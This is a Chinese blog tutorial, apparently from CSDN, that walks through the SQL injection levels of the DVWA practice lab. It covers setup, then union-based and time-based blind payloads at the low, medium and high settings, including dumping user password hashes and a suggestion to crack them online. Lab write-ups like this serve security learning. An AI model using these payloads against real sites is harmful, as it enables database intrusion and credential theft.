渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)

提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!


前言

在完成基础学习后,现在开始正式的打dvwa的靶场。由于目前,主要只学习了sql注入,因此,对于dvwa靶场的攻略仅有sql注入的部分。


提示:以下是本篇文章正文内容,下面案例可供参考

一、dvwa的安装:

下载链接:https://dvwa.co.uk/

百度网盘:链接:https://pan.baidu.com/s/1qqHDqnmgn7Eq1Mb1dxZvyw
提取码:3vpq
–来自百度网盘超级会员V4的分享

将dvwa的压缩包解压到对应的网站目录下:
在这里插入图片描述
而后,打开dvwa的目录,找到config文件夹,点击进入,而后将config.inc.php.dist 重命名成config.inc.php,如下图:
在这里插入图片描述点击,打开config.inc.php文件夹,找到对应的用户与密码出,进行修改,如下图箭头指的两个位置就是要修改成自己数据库的root用户以及对应的密码:

在这里插入图片描述

然后,在网页中打开dvwa:

在这里插入图片描述点击下面的create database,再重新进入dvwa即可:

在这里插入图片描述
默认的账户密码:
username:admin
password:password
在这里插入图片描述 在下面的dvwa security 处有设置等级的地方!

二、sql注入关

1.SQL Injection

low级别

首先,先提交一次查询,查看查询时url的构造:
在这里插入图片描述那么,我们估计在id处应该是有注入点的:

测试闭合回路:

?id=1 or 1=1 --+&Submit=Submit#

页面正常,说明不是数字型:
在这里插入图片描述

?id=1' or 1=1 --+&Submit=Submit#

出现所有的数据,说明了闭合回路是’ ’
在这里插入图片描述
测试列数量:

?id=1' order by 3 --+&Submit=Submit#

在这里插入图片描述order by 2时页面正常,说明列数量为2.

拿库名、用户名:

?id=-1' union select database(),user() --+&Submit=Submit#

在这里插入图片描述我们看到了用户是root用户,因此有机会可以跨库攻击、以及上传webshell。

拿表:

这里出现了一些bug:Illegal mix of collations for operation ‘UNION’
在这里插入图片描述如果有这个问题的读者,请到:

?id=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' --+&Submit=Submit#

在这里插入图片描述拿列:

?id=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' --+&Submit=Submit#

在这里插入图片描述拿数据:

?id=-1' union select group_concat(user),group_concat(password) from dvwa.users --+&Submit=Submit#

在这里插入图片描述
这里就已经拿下了,密码是md5加密。在网上找平台解密一下就行了!!

medium级别

换成medium级别后,继续打开sql injection选项。点击提交user id 的按钮,发现url上并没有参数显现了:
在这里插入图片描述那么这里,猜测要么是改用了post进行提交数据,页面很可能是因为使用什么方法将提交的参数进行了隐藏,那么我们使用burp进行抓包看看:
在这里插入图片描述
好的,确实是改用了post进行提交的,那么接下来我们进行注入测试:

id=1+and+1=1+--+&Submit=Submit

id=1+and+1=2+--+&Submit=Submit

当输入上述payload的第一条时候,页面回显正常;第二条payload时候,页面回显失败,判定是数字型注入。

输入如下payload,可以判断出列数量(当然也可以用order by)

id=-1+union+select+1,2+--+&Submit=Submit

再之后就可以肆无忌惮的拿数据了:
提供一个payload,其余的看low级别中有详细的拿数据的payload,此处不再赘述:


id=-1+union+select+database(),user()+--+&Submit=Submit

在这里插入图片描述

hight级别

这一关,打开后,点击了那个查询按钮后,会弹出一个单独的页面框以供进行输入id进行查询:
在这里插入图片描述利用多一个页面,可以防止我们利用burp,抓取到post包后直接利用repeater模块进行攻击,因为,在我们提交玩这个包后,页面还会进行一次请求的,单单只用这个包是不太行的。

那么,我们直接在这个页面进行尝试:
输入如下payload:

1' or 1=1#

在这里插入图片描述说明闭合回路是’ ’ 且这里貌似是需要利用#进行闭合的,之前我一直用–+时一直不成功(各位读者可自行验证一下)

然后就可以结合low里的payload进行注入了:

 1' union select database(),user()#

在这里插入图片描述

1.SQL Injection (Blind)

low

首先,利用sleep与and来判断闭合回路:

?id=1' and sleep(5) --+

此时,发现,页面时间明显延长,说明这里存在着注入点,且闭合回路为 ’ ’

那么,这里开始构造payload:

?id=1' and  if(substr(database(),1,1)=='d' , null,sleep(2)) --+&Submit=Submit#

由此处的payload可以看出,当我们database的第一个字符等于d时是没有延迟的,等于其他字母时延迟明显加长!!说明数据库的名称的第一个字符是d。。。

以下可自行测试,利用substr的特性可以将所有数据都拿到手!以下再提供一个猜表的payload:

?id=1' and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)='g' , null,sleep(2)) --+&Submit=Submit#

medium

打开这一关,首先看到页面只允许自己选择id进行提交,于是我们利用burpsuite进行抓包看看:

在这里插入图片描述
这里,我们继续进一步的测试闭合回路:

id=1+and+sleep(5)--+&Submit=Submit

发现页面已经延迟回显了。判断这里是数字注入。。那么以下就直接在这个包里写入注入语句即可:
payload:

id=1+and+if(substr(database(),1,1)=='a',null,sleep(10))+--+&Submit=Submit

其余的具体注入语句可参考第一部分的low级别里语句。

high

同第一部分注入关卡一样,在弹出的页面里写入注入语句即可:

1' and sleep(10)#

在这里插入图片描述

至此,dvwa部分的注入已经全部完成了!!!


总结

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值